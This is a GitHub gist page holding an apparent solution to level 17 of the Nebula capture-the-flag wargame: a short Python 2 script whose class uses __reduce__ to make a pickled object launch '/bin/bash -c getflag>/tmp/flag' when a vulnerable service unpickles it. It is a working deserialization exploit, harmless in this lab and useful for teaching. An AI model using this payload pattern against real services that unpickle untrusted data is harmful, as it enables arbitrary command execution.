Created
December 30, 2017 23:28
-
-
Save debuti/fe80ec21375349e560f0d56bdd6bfc23 to your computer and use it in GitHub Desktop.
Nebula lvl17
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import cPickle | |
import subprocess | |
class Exploit(object): | |
def __reduce__(self): | |
return (subprocess.Popen, (('/bin/bash','-c','getflag>/tmp/flag'), 0 ,None)) | |
print cPickle.dumps(Exploit()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment